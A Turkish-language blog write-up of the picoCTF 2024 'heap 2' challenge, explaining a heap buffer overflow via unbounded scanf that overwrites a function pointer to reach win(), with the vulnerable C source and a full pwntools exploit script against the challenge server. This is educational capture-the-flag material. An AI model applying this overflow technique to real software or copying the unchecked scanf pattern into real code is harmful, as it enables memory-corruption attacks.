PICOCTF PicoCTF 2024 - Heap 2: Function Pointer Manipulation

Navigation

Computer Science

Mathematics

Security

PicoCTF

HackTheBox

TryHackMe

Geometry

Cheatsheet

Sosyal Medya

Güncel Makaleler

Yükleniyor...
Erciyes Uni.
Bilgisayar Muh.
CBFRPRO CBTEAMER CNPEN eMAPT

PicoCTF

PicoCTF 2024 - Heap 2: Function Pointer Manipulation

December 25, 2025

Giriş

picoCTF 2024’ün Binary Exploitation kategorisindeki “heap 2” problemi, heap tabanlı bellek yönetimi zafiyetlerini ve fonksiyon işaretçisi (function pointer) manipülasyonunu anlamak için önemli bir örnektir. Bu yazıda, problemin teknik analizini ve exploit geliştirme sürecini adım adım inceleyeceğiz.

Challenge Bilgileri:

  • Zorluk: Medium
  • Kategori: Binary Exploitation
  • Etiketler: heap, buffer overflow, function pointers

Challenge Analizi

Problem, fonksiyon işaretçilerini yönetip yönetemeyeceğimizi soruyor (“Can you handle function pointers?”). Bize verilenler:

  • Binary dosyası: Çalıştırılabilir program
  • Kaynak kod: C dilinde yazılmış program

Analizimizin merkezinde, programın heap belleği nasıl kullandığı ve fonksiyon işaretçilerinin bellekteki konumu yer alacak.


Kaynak Kod İncelemesi

Programın kritik kısımlarını incelediğimizde, bellek yönetimi ve potansiyel zafiyet noktaları ortaya çıkıyor.

Global Değişkenler

char *x;           // Heap'te bir adres tutacak (fonksiyon işaretçisi olarak kullanılacak)
char *input_data;  // Kullanıcı girdisini tutacak buffer

Başlatma (Init) Fonksiyonu

void init() {
    input_data = malloc(5);
    strncpy(input_data, "pico", 5);
    x = malloc(5);
    strncpy(x, "bico", 5);
}

Bu fonksiyon heap üzerinde ardışık iki bellek bloğu ayırır. Ancak malloc(5) çağrısı, modern bellek yöneticilerinde (allocator) genellikle hizalama (alignment) ve metadata nedeniyle 5 byte’tan daha fazla yer kaplar. Bu durum, veri blokları arasındaki gerçek mesafeyi (offset) belirlememizi gerektirir.

Hedef ve Zafiyet Noktaları

win() Fonksiyonu: Amacımız bu fonksiyonu çalıştırmaktır. Fonksiyon, flag.txt dosyasını okuyup ekrana yazdırır.

check_win() Fonksiyonu:

void check_win() { 
    ((void (*)())*(int*)x)(); 
}

Bu satır, x işaretçisinin gösterdiği bellekteki değeri okur, bu değeri bir fonksiyon adresi olarak yorumlar ve o adrese atlar (jump). Eğer x‘in gösterdiği veriyi kontrol edebilirsek, programın akışını istediğimiz fonksiyona yönlendirebiliriz.

write_buffer() - Zafiyet Kaynağı:

void write_buffer() {
    scanf("%s", input_data);
}

scanf("%s", ...) fonksiyonu, alınan girdinin uzunluğunu kontrol etmez. input_data için ayrılan alan sınırlı olsa da, buraya daha uzun veri yazarak bellekteki diğer alanların üzerine yazabiliriz (Buffer Overflow).


Bellek Yapısı ve Offset Analizi

Programın heap üzerindeki davranışını anlamak için bellek düzenini görselleştirmemiz gerekir.

Programı çalıştırıp bellek adreslerini incelediğimizde (Option 1):

  • input_data adresi: 0x...b0
  • x adresi: 0x...d0

İki adres arasındaki fark 0x20 yani 32 byte‘tır. Bu, malloc(5) çağrısına rağmen heap yöneticisinin minimum chunk boyutu ve hizalama nedeniyle araya dolgu (padding) verisi koyduğunu gösterir.

Heap Bellek Düzeni (Görsel Anlatım)

Bu durumu şöyle düşünebilirsiniz: Bellekte iki ayrı kutumuz var. İlk kutu (input_data) bizim yazı yazdığımız yer, ikinci kutu (x) ise programın nereye gideceğini gösteren bir tabelayı saklıyor.

Biz kodda “bana 5 byte ver” desek de, sistem düzenli çalışmak için (hafıza hizalaması/alignment yüzünden) araya boşluklar koyuyor. Aşağıdaki çizimde bu iki kutu arasındaki 32 byte’lık boşluğu (offset) görebilirsiniz:

Heap Memory Layout Şekil 1: Programın hafızadaki görünümü. input_data ve x blokları arasında, teknik sebeplerle oluşan 32 byte’lık bir boşluk var.


Exploit Stratejisi

Zafiyeti kullanmak için izleyeceğimiz yol şudur:

  1. input_data buffer’ına yazarken 32 byte’lık sınırı aşacağız.
  2. Taşan veri ile, bellekte hemen input_data‘dan sonra gelen x bloğunun içeriğini değiştireceğiz.
  3. x bloğunun içine, hedefimiz olan win() fonksiyonunun adresini yazacağız.
  4. check_win() fonksiyonu çağrıldığında, program bizim yazdığımız adrese, yani win() fonksiyonuna atlayacak.

Saldırı Planı (Görsel Anlatım)

Saldırıyı bir su bardağını taşırmak gibi düşünebilirsiniz. input_data bardağına kapasitesinden fazla su (veri) doldurduğumuzda, taşan su (veriler) hemen aşağıdaki x bardağına dökülür.

Biz de input_data‘ya 32 byte’tan fazla veri (“A” harfleri) göndererek aradaki boşluğu dolduruyoruz ve taşan kısımla x kutusundaki tabelayı değiştiriyoruz. Tabelaya win() fonksiyonunun adresini yazıyoruz. Böylece program tabelaya baktığında bizim istediğimiz yere gidiyor.

Buffer Overflow Exploit Şekil 2: Saldırı anı. Üstteki kutudan taşan “A” harfleri aradaki boşluğu dolduruyor ve alttaki kutuda duran “gidelecek adres” bilgisini win() fonksiyonunun adresiyle değiştiriyor.


Exploit Geliştirme

1. Hedef Adresin Tespiti

win() fonksiyonunun adresini bulmak için objdump veya gdb kullanabiliriz. Analiz sonucunda win fonksiyonunun adresi: 0x4011a0

2. Payload Hazırlama

Hedef sisteme göndereceğimiz veri paketi (payload) şu yapıda olmalıdır:

  • Dolgu (Padding): input_data ile x arasındaki mesafeyi doldurmak için 32 adet karakter (örneğin ‘A’).
  • Hedef Adres: win() fonksiyonunun adresi (0x4011a0).

x86-64 mimarisinde adresler little-endian formatında yazılmalıdır. Yani baytlar ters sırada yerleştirilir: \xa0\x11\x40\x00\x00\x00\x00\x00.

3. Python Exploit Kodu

#!/usr/bin/env python3
from pwn import *

# Hedef sistem bilgileri
HOST = 'mimas.picoctf.net'
PORT = 64012

# win() fonksiyonunun adresi
win_addr = 0x4011a0

try:
    # Bağlantıyı başlat
    p = remote(HOST, PORT)
    
    # Menüden "Write to buffer" (2) seçeneğini seç
    p.recvuntil(b'choice: ')
    p.sendline(b'2')
    p.recvuntil(b'buffer: ')
    
    # Payload: 32 byte padding + win adresi (64-bit packed)
    payload = b'A' * 32 + p64(win_addr)
    p.sendline(payload)
    
    # Menüden "Check win" (4) seçeneğini seç
    p.recvuntil(b'choice: ')
    p.sendline(b'4')
    
    # Flag'i oku ve yazdır
    flag = p.recvline().decode().strip()
    log.success(f"FLAG: {flag}")
    
    p.close()

except Exception as e:
    log.error(f"Hata: {e}")

Çalıştırma Sonuçları

Exploit’i önce kendi bilgisayarımızda (lokal), sonra da gerçek hedef üzerinde (remote) test ettik.

Local Exploit Execution Şekil 3: Exploit’in yerel ortamda çalıştırılması.

Final Flag Şekil 4: Uzak sunucuda exploit’in başarıyla çalışması ve flag’in elde edilmesi.


Teknik Detaylar

Function Pointer Casting

check_win() fonksiyonundaki ((void (*)())*(int*)x)(); ifadesi karmaşık görünse de aslında basit bir pointer işlemi yapar.

Bunu şu şekilde düşünebilirsiniz:

  • Normal Durum: Program bir tabelaya (x) bakar. Tabela “bico şehrine git” der.
  • Saldırı Sonrası: Biz bu tabelanın üzerine yeni bir etiket yapıştırırız. Artık tabela “win() şehrine git” demektedir. Program tabelanın değiştiğini anlamaz ve safça yeni adrese gider.

Function Pointer Metaphor Şekil 5: Fonksiyon işaretçisi manipülasyonunun basit mantığı. İşaretçiler (pointer) bellekte sadece bir adresi gösteren tabelalardır. Tabelayı değiştirebilirseniz, trafiğin akışını da değiştirebilirsiniz.

Teknik olarak gerçekleşen adımlar:

  1. x pointer’ı integer pointer’a (int*) dönüştürülür.
  2. İşaret edilen bellek bölgesindeki veri okunur (dereference).
  3. Okunan bu veri, bir fonksiyon adresi (void (*)()) olarak kabul edilir.
  4. Program bu adrese dallanır.

Malloc ve Alignment

Glibc malloc, bellek isteklerini belirli boyutlara (genellikle 16 veya 32 byte) hizalar. 5 byte veri istendiğinde, hem veriyi tutmak hem de metadata (chunk size, flags) için yer ayırmak amacıyla sistem daha büyük bir blok tahsis eder. Bu “gizli” mesafe, exploit yazarken doğru offset’i bulmak için kritik öneme sahiptir.


Sonuç

Heap 2 problemi, modern yazılım güvenliğinde bellek sınırlarının ve tip güvenliğinin önemini göstermektedir. Kullanıcı girdisinin kontrolsüz bir şekilde belleğe yazılması, programın akışının tamamen değiştirilmesine yol açabilir. Bu tür zafiyetleri önlemek için güvenli fonksiyonlar kullanılmalı ve bellek sınırları her zaman doğrulanmalıdır.

Paylaş

Yorumlar

🔔
Yeni yazılardan haberdar ol! Bildirim al, hiçbir yazıyı kaçırma.